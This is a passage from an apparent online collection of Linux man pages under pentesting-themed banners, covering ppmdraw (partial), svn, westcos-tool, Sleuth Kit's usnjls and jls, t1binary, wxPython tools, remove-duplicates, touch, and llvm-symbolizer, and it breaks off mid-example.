There is only one of these fonts as far as we know. It is distributed with Netpbm as the file standard.ppmdfont, but you don’t need to use that file because the same font is built into the Netpbm library and is the default. If you want to make a new font, you can find the format of a ppmdfont file in the Netpbm interface header file ppmdfont.h, but you’ll have to make your own tools to build it. The program ppmdmkfont generates standard.ppmdfont, so you can use that as an example.

line
This draws a one pixel wide line in the current color. The 4 arguments are: starting column, starting row, ending column, ending row.

This command does not affect the current position.

line_here
This is like line, except it works in a more relative way.

The line starts at the current point. The two arguments are the rightward and downward displacement from there to the terminal point. The command moves the current position to the terminal point after drawing.

spline3
This draws a spline in the current color between 2 points, using a third as a control point. It approximates a cubic spline segment.

The shape of the curve is such that it passes through the specified endpoints, and lines tangent to the curve at those endpoints intersect at the control point. Controlling the tangents allows you to connect this curve to other curves generated the same way without having corners at the connection points.

The 6 arguments are the starting point column, starting point row, control point column, control point row, ending point column, and ending point row.

This command does not affect the current position.

circle
This command draws a circle in the current color. The three arguments are the column number and row number of the center of the circle and the radius of the circle in pixels.

filledrectangle
This command draws a rectangle filled with the current color.

The 4 arguments are the column and row numbers of the upper left corner of the rectangle, the width of the rectangle, and the height of the rectangle.

text
This command draws text in the current color in the built-in font. The 5 arguments are:

  • column number of starting point of baseline

  • row number of starting point of baseline

  • height of characters, in pixels

  • angle of baseline in degrees elevated from the horizontal

  • text

Note that if your text contains white space, you’ll have to use double quotes to cause it to be a single token.

text_here
This is like text, except that the baseline starts at the current position and the command updates the current position to the other end of the baseline after it draws.

Bear in mind that a script starts with the current position in the top line, so if you leave it there, only the bottom line of your text will be within the image!

HISTORY

ppmdraw was new in Netpbm 10.29 (August 2005).

SEE ALSO

ppmlabel(1) , ppm(1) libnetpbm_draw(1)

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmdraw.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

719 - Linux cli command svn

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command svn and provides detailed information about the command svn, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the svn.

NAME 🖥️ svn 🖥️

Subversion command line client tool

SYNOPSIS

svn command [options] [args]

OVERVIEW

Subversion is a version control system, which allows you to keep old versions of files and directories (usually source code), keep a log of who, when, and why changes occurred, etc., like CVS, RCS or SCCS. Subversion keeps a single copy of the master sources. This copy is called the source ``repository’’; it contains all the information to permit extracting previous versions of those files at any time.

For more information about the Subversion project, visit http://subversion.apache.org.

Documentation for Subversion and its tools, including detailed usage explanations of the svn, svnadmin, svnserve and svnlook programs, historical background, philosophical approaches and reasonings, etc., can be found at http://svnbook.red-bean.com/.

Run `svn help’ to access the built-in tool documentation.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

720 - Linux cli command westcos-tool

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command westcos-tool and provides detailed information about the command westcos-tool, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the westcos-tool.

NAME 🖥️ westcos-tool 🖥️

tool - utility for manipulating data structures on westcos smart cards

SYNOPSIS

westcos-tool [OPTIONS]

DESCRIPTION

The westcos-tool utility is used to manipulate the westcos data structures on 2 Ko smart cards / tokens. Users can create PINs, keys and certificates stored on the card / token. User PIN authentication is performed for those operations that require it.

OPTIONS

–change-pin, -n

Changes a PIN stored on the card. User authentication is required for this operation.

–certificate file, -t file

Write certificate file file in PEM format to the card. User authentication is required for this operation.

–finalize, -f

Finalize the card. Once finalized the default key is invalidated, so PIN and PUK cannot be changed anymore without user authentication.

Warning, un-finalized cards are insecure because the PIN can be changed without user authentication (knowledge of default key is enough).

–generate-key, -g

Generate a private key on the card. The card must not have been finalized and a PIN must be installed (i.e. the file for the PIN must have been created, see option -i). By default the key length is 2048 bits. User authentication is required for this operation.

–help, -h

Print help message on screen.

–install-pin, -i

Install PIN file in on the card. You must provide a PIN value with -x.

–key-length length, -l length

Change the length of private key. Use with -g.

–overwrite-key, -o

Overwrite the key if there is already a key on the card.

–pin-value pin, -x pin –puk-value puk, -y puk

These options can be used to specify the PIN/PUK values on the command line. If the value is set to env:VARIABLE, the value of the specified environment variable is used. By default, the code is prompted on the command line if needed.

Note that on most operation systems, any user can display the command line of any process on the system using utilities such as ps(1). Therefore, you should prefer passing the codes via an environment variable on an unsecured system.

–read-file filename, -j filename

Read the file filename from the card. The file is written on disk with name filename. User authentication is required for this operation.

–reader arg, -r arg

Number of the reader to use. By default, the first reader with a present card is used. If arg is an ATR, the reader with a matching card will be chosen.

–unblock-pin, -u

Unblocks a PIN stored on the card. Knowledge of the PIN Unblock Key (PUK) is required for this operation.

–verbose -v

Causes westcos-tool to be more verbose. Specify this flag several times to enable debug output in the OpenSC library.

–wait, -w

Wait for a card to be inserted.

–write-file filename, -k filename

Put the file with name filename from disk to card. On the card the file is written in filename. User authentication is required for this operation.

AUTHORS

westcos-tool was written by Francois Leblanc <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

721 - Linux cli command usnjls

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command usnjls and provides detailed information about the command usnjls, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the usnjls.

NAME 🖥️ usnjls 🖥️

List the contents of a NTFS Update Sequence Number journal

SYNOPSIS

usnjls [-f fstype ] [-vV] [-i imgtype] [-o imgoffset] [-b dev_sector_size] image [images] [inode]

DESCRIPTION

usnjls lists the records in a NTFS Update Sequence Number Journal. If inode is given, then it will look there for a journal. Otherwise, it will use the default location. The output lists the USN journal records.

ARGUMENTS

-f fstype
Specify the file system type. Use ‘-f list’ to list the supported file system types. If not given, autodetection methods are used.

-i imgtype
Identify the type of image file, such as raw or split. Use ‘-i list’ to list the supported types. If not given, autodetection methods are used.

-o imgoffset
The sector offset where the file system starts in the image.

-b dev_sector_size
The size, in bytes, of the underlying device sectors. If not given, the value in the image format is used (if it exists) or 512-bytes is assumed.

-l
Print the output in long format describing the field values and unpacking the data into human readable strings.

-m
Print the output in mactime format.

-V
Display version

-v
verbose output

image [images]
One (or more if split) disk or partition images whose format is given with ‘-i’.

[inode]
The inode where the Update Sequence Number Journal can be found.

EXAMPLES

usnjls -f ntfs img.dd

AUTHOR

Brian Carrier <carrier at sleuthkit dot org>

Send documentation updates to <doc-updates at sleuthkit dot org>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

722 - Linux cli command t1binary

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command t1binary and provides detailed information about the command t1binary, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the t1binary.

NAME 🖥️ t1binary 🖥️

convert PostScript Type 1 font from ASCII to binary

SYNOPSIS

t1binary [-l length] [input [output]]

DESCRIPTION

t1binary converts Adobe Type 1 font programs in PFA (hexadecimal) format to PFB (binary) format. If the file output is not specified output goes to the standard output. If the file input is not specified input comes from the standard input.

OPTIONS

**–block-length=**length, -l length
Set the maximum length of sections in PFB output to length. The default length is as large as memory allows.

SEE ALSO

() () () () ()

Adobe Type 1 Font Format

AUTHORS

Lee Hetherington ([email protected])
Eddie Kohler ([email protected])

Ported to Microsoft C/C++ Compiler and MS-DOS operating system by Kai-Uwe Herbing ([email protected]).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

723 - Linux cli command pyshell

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pyshell and provides detailed information about the command pyshell, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pyshell.

NAME 🖥️ pyshell 🖥️

wxPython tools.
img2png - wxPython tools.
img2py - wxPython tools.
img2xpm - wxPython tools.
pycrust - wxPython tools.
pyshell - wxPython tools.
pyslices - wxPython tools.
pyslicesshell - wxPython tools.
pywxrc - wxPython tools.
wxdemo - wxPython tools.
wxdocs - wxPython tools.
wxget - wxPython tools.

DESCRIPTION

The real documentation for these tools is available in pydoc format.

For example:

pydoc3 wx.tools.img2xpm

SEE ALSO

pydoc3(1)

COPYRIGHT

This manpage was written by Ron Lee <[email protected]> for the Debian GNU/Linux distribution of wxWidgets. It may be freely distributed by anyone insane enough to find it useful.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

724 - Linux cli command remove-duplicates

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command remove-duplicates and provides detailed information about the command remove-duplicates, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the remove-duplicates.

NAME 🖥️ remove-duplicates 🖥️

duplicates - remove duplicates of the same file in the current directory

SYNOPSIS

remove-duplicate [-f]

DESCRIPTION

Removes duplicates of the same file in the current directory if -f is given. If -f is not given, duplicate will be identified twice (once in every direction).

OPTIONS

-f

COPYRIGHT

Copyright (c) 2004-2016 Samuel Tardieu <[email protected]>. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

If recoverjpeg saves your day and you liked it, you are welcome to send me the best rescued ones by email (please send only 800x600 versions of the pictures) and authorize me to put them online (indicate which contact information you want me to use for credits).

SEE ALSO

recoverjpeg(1) sort-pictures(1)

AUTHORS

Samuel Tardieu <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

725 - Linux cli command touch

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command touch and provides detailed information about the command touch, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the touch.

NAME 🖥️ touch 🖥️

change file timestamps

SYNOPSIS

touch [OPTION]… FILE

DESCRIPTION

Update the access and modification times of each FILE to the current time.

A FILE argument that does not exist is created empty, unless -c or -h is supplied.

A FILE argument string of - is handled specially and causes touch to change the times of the file associated with standard output.

Mandatory arguments to long options are mandatory for short options too.

-a
change only the access time

-c, –no-create
do not create any files

-d, –date=STRING
parse STRING and use it instead of current time

-f
(ignored)

-h, –no-dereference
affect each symbolic link instead of any referenced file (useful only on systems that can change the timestamps of a symlink)

-m
change only the modification time

-r, –reference=FILE
use this file’s times instead of current time

-t STAMP
use [[CC]YY]MMDDhhmm[.ss] instead of current time

–time=WORD
change the specified time: WORD is access, atime, or use: equivalent to -a WORD is modify or mtime: equivalent to -m

–help
display this help and exit

–version
output version information and exit

Note that the -d and -t options accept different time-date formats.

DATE STRING

The –date=STRING is a mostly free format human readable date string such as “Sun, 29 Feb 2004 16:21:42 -0800” or “2004-02-29 16:21:42” or even “next Thursday”. A date string may contain items indicating calendar date, time of day, time zone, day of week, relative time, relative date, and numbers. An empty string indicates the beginning of the day. The date string format is more complex than is easily documented here but is fully described in the info documentation.

AUTHOR

Written by Paul Rubin, Arnold Robbins, Jim Kingdon, David MacKenzie, and Randy Smith.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

Full documentation <https://www.gnu.org/software/coreutils/touch>
or available locally via: info ‘(coreutils) touch invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

726 - Linux cli command jls

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command jls and provides detailed information about the command jls, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the jls.

NAME 🖥️ jls 🖥️

List the contents of a file system journal

SYNOPSIS

jls [-f fstype ] [-vV] [-i imgtype] [-o imgoffset] [-b dev_sector_size] image [images] [inode]

DESCRIPTION

jls lists the records and entries in a file system journal. If inode is given, then it will look there for a journal. Otherwise, it will use the default location. The output lists the journal block number and a description.

ARGUMENTS

-f fstype
Specify the file system type. Use ‘-f list’ to list the supported file system types. If not given, autodetection methods are used.

-i imgtype
Identify the type of image file, such as raw or split. Use ‘-i list’ to list the supported types. If not given, autodetection methods are used.

-o imgoffset
The sector offset where the file system starts in the image.

-b dev_sector_size
The size, in bytes, of the underlying device sectors. If not given, the value in the image format is used (if it exists) or 512-bytes is assumed.

-V
Display version

-v
verbose output

image [images]
One (or more if split) disk or partition images whose format is given with ‘-i’.

[inode]
The inode where the file system journal can be found.

EXAMPLES

jls -f linux-ext3 img.dd

AUTHOR

Brian Carrier <carrier at sleuthkit dot org>

Send documentation updates to <doc-updates at sleuthkit dot org>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

727 - Linux cli command llvm-symbolizer-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-symbolizer-17 and provides detailed information about the command llvm-symbolizer-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-symbolizer-17.

NAME 🖥️ llvm-symbolizer-17 🖥️

symbolizer - convert addresses into source code locations

SYNOPSIS

llvm-symbolizer [options] [addresses…]

DESCRIPTION

llvm-symbolizer reads input names and addresses from the command-line and prints corresponding source code locations to standard output. It can also symbolize logs containing Symbolizer Markup via –filter-markup.

If no address is specified on the command-line, it reads the addresses from standard input. If no input name is specified on the command-line, but addresses are, or if at any time an input value is not recognized, the input is simply echoed to the output.

Input names can be specified together with the addresses either on standard input or as positional arguments on the command-line. By default, input names are interpreted as object file paths. However, prefixing a name with BUILDID: states that it is a hex build ID rather than a path. This will look up the corresponding debug binary. For consistency, prefixing a name with FILE: explicitly states that it is an object file path (the default).

A positional argument or standard input value can be preceded by “DATA” or “CODE” to indicate that the address should be symbolized as data or executable code respectively. If neither is specified, “CODE” is assumed. DATA is symbolized as address and symbol size rather than line number.

llvm-symbolizer parses options from the environment variable LLVM_SYMBOLIZER_OPTS after parsing options from the command line. LLVM_SYMBOLIZER_OPTS is primarily useful for supplementing the command-line options when llvm-symbolizer is invoked by another program or runtime.

EXAMPLES

All of the following examples use the following two source files as input. They use a mixture of C-style and C++-style linkage to illustrate how these names are printed differently (see –demangle).

// test.h extern “C” inline int foz() { return 1234; }

// test.cpp #include “test.h” int bar=42;

int foo() {
  return bar;
}

int baz() {
  volatile int k = 42;
  return foz() + k;
}

int main() {
  return foo() + baz();
}

These files are built as follows:

$ clang -g test.cpp -o test.elf $ clang -g -O2 test.cpp -o inlined.elf

Example 1 - addresses and object on command-line:

$ llvm-symbolizer –obj=test.elf 0x4004d0 0x400490 foz /tmp/test.h:1:0

baz()
/tmp/test.cpp:11:0

Example 2 - addresses on standard input:

$ cat addr.txt 0x4004a0 0x400490 0x4004d0 $ llvm-symbolizer –obj=test.elf < addr.txt main /tmp/test.cpp:15:0

baz()
/tmp/test.cpp:11:0

foz
/tmp/./test.h:1:0

Example 3 - object specified with address:

$ llvm-symbolizer “test.elf 0x400490” “FILE:inlined.elf 0x400480” baz() /tmp/test.cpp:11:0

foo()
/tmp/test.cpp:8:10

$ cat addr2.txt
FILE:test.elf 0x4004a0
inlined.elf 0x400480

$ llvm-symbolizer < addr2.txt
main
/tmp/test.cpp:15:0

foo()
/tmp/test.cpp:8:10

Example 4 - BUILDID and FILE prefixes:

$ llvm-symbolizer “FILE:test.elf 0x400490” “DATA BUILDID:123456789abcdef 0x601028” baz() /tmp/test.cpp:11:0

bar
6295592 4

$ cat addr3.txt
FILE:test.elf 0x400490
DATA BUILDID:123456789abcdef 0x601028

$ llvm-symbolizer < addr3.txt
baz()
/tmp/test.cpp:11:0

bar
6295592 4

Example 5 - CODE and DATA prefixes:

$ llvm-symbolizer –obj=test.elf “CODE 0x400490” “DATA 0x601028” baz() /tmp/test.cpp:11:0

bar
6295592 4

$ cat addr4.txt
CODE test.elf 0x4004a0
DATA inlined.elf 0x601028

$ llvm-symbolizer < addr4.txt
main
/tmp/test.cpp:15:0

bar
6295592 4

Example 6 - path-style options:

This example uses the same source file as above, but the source file’s full path is /tmp/foo/test.cpp and is compiled as follows. The first case shows the default absolute path, the second –basenames, and the third shows –relativenames.

$ pwd /tmp $ clang -g foo/test.cpp -o test.elf $ llvm-symbolizer –obj=test.elf 0x4004a0 main /tmp/foo/test.cpp:15:0 $ llvm-symbolizer –obj=test.elf 0x4004a0 –basenames main test.cpp:15:0 $ llvm-symbolizer –obj=test.elf 0x4004a0 –relativenames main foo/test.cpp:15:0

OPTIONS

–adjust-vma <offset>
Add the specified offset to object file addresses when performing lookups. This can be used to perform lookups as if the object were relocated by the offset.

–basenames, -s
Print just the file’s name without any directories, instead of the absolute path.

–build-id
Look up the object using the given build ID, specified as a hexadecimal string. Mutually exclusive with –obj.

–color [=<always|auto|never>]
Specify whether to use color in –filter-markup mode. Defaults to auto, which detects whether standard output supports color. Specifying –color alone is equivalent to –color=always.

–debug-file-directory <path>
Provide a path to a directory with a .build-id subdirectory to search for debug information for stripped binaries. Multiple instances of this argument are searched in the order given.

–debuginfod, –no-debuginfod
Whether or not to try debuginfod lookups for debug binaries. Unless specified, debuginfod is only enabled if libcurl was compiled in (LLVM_ENABLE_CURL) and at least one server URL was provided by the environment variable DEBUGINFOD_URLS.

–demangle, -C
Print demangled function names, if the names are mangled (e.g. the mangled name _Z3bazv becomes baz(), whilst the non-mangled name foz is printed as is). Defaults to true.

–dwp <path>
Use the specified DWP file at <path> for any CUs that have split DWARF debug data.

–fallback-debug-path <path>
When a separate file contains debug data, and is referenced by a GNU debug link section, use the specified path as a basis for locating the debug data if it cannot be found relative to the object.

–filter-markup
Reads from standard input, converts contained Symbolizer Markup into human-readable form, and prints the results to standard output. The following markup elements are not yet supported:

  • {{{hexdict}}}

  • {{{dumpfile}}}

The {{{bt}}} backtrace element reports frames using the following syntax:

#<number>[.<inline>] <address> <function> <file>:<line>:<col> (<module>+<relative address>)

<inline> provides frame numbers for calls inlined into the caller coresponding to <number>. The inlined call numbers start at 1 and increase from callee to caller.

<address> is an address inside the call instruction to the function. The address may not be the start of the instruction. <relative address> is the corresponding virtual offset in the <module> loaded at that address.

–functions [=<none|short|linkage>], -f
Specify the way function names are printed (omit function name, print short function name, or print full linkage name, respectively). Defaults to linkage.

–help, -h
Show help and usage for this command.

–inlining, –inlines, -i
If a source code location is in an inlined function, prints all the inlined frames. This is the default.

–no-inlines
Don’t print inlined frames.

–no-demangle
Don’t print demangled function names.

–obj <path>, –exe, -e
Path to object file to be symbolized. If - is specified, read the object directly from the standard input stream. Mutually exclusive with –build-id.

–output-style <LLVM|GNU|JSON>
Specify the preferred output style. Defaults to LLVM. When the output style is set to GNU, the tool follows the style of GNU’s addr2line. The differences from the LLVM style are:

  • Does not print the column of a source code location.

  • Does not add an empty line after the report for an address.

  • Does not replace the name of an inlined function with the name of the topmost caller when inlined frames are not shown.

  • Prints an address’s debug-data discriminator when it is non-zero. One way to produce discriminators is to compile with clang’s -fdebug-info-for-profiling.

JSON style provides a machine readable output in JSON. If addresses are
supplied via stdin, the output JSON will be a series of individual objects. Otherwise, all results will be contained in a single array.

$ llvm-symbolizer –obj=inlined.elf 0x4004be 0x400486 -p baz() at /tmp/test.cpp:11:18 (inlined by) main at /tmp/test.cpp:15:0

foo() at /tmp/test.cpp:6:3

$ llvm-symbolizer --output-style=LLVM --obj=inlined.elf 0x4004be 0x400486 -p --no-inlines
main at /tmp/test.cpp:11:18

foo() at /tmp/test.cpp:6:3

$ llvm-symbolizer --output-style=GNU --obj=inlined.elf 0x4004be 0x400486 -p --no-inlines
baz() at /tmp/test.cpp:11
foo() at /tmp/test.cpp:6

$ clang -g -fdebug-info-for-profiling test.cpp -o profiling.elf
$ llvm-symbolizer --output-style=GNU --obj=profiling.elf 0x401167 -p --no-inlines
main at /tmp/test.cpp:15 (discriminator 2)

$ llvm-symbolizer --output-style=JSON --obj=inlined.elf 0x4004be 0x400486 -p
[
  {
    "Address": "0x4004be",
    "ModuleName": "inlined.elf",
    "Symbol": [
      {
        "Column": 18,
        "Discriminator": 0,
        "FileName": "/tmp/test.cpp",
        "FunctionName": "baz()",
        "Line": 11,
        "StartAddress": "0x4004be",
        "StartFileName": "/tmp/test.cpp",
        "StartLine": 9
      },
      {
        "Column": 0,
        "Discriminator": 0,
        "FileName": "/tmp/test.cpp",
        "FunctionName": "main",
        "Line": 15,
        "StartAddress": "0x4004be",
        "StartFileName": "/tmp/test.cpp",
        "StartLine": 14
      }
    ]
  },
  {
    "Address": "0x400486",
    "ModuleName": "inlined.elf",
    "Symbol": [
      {
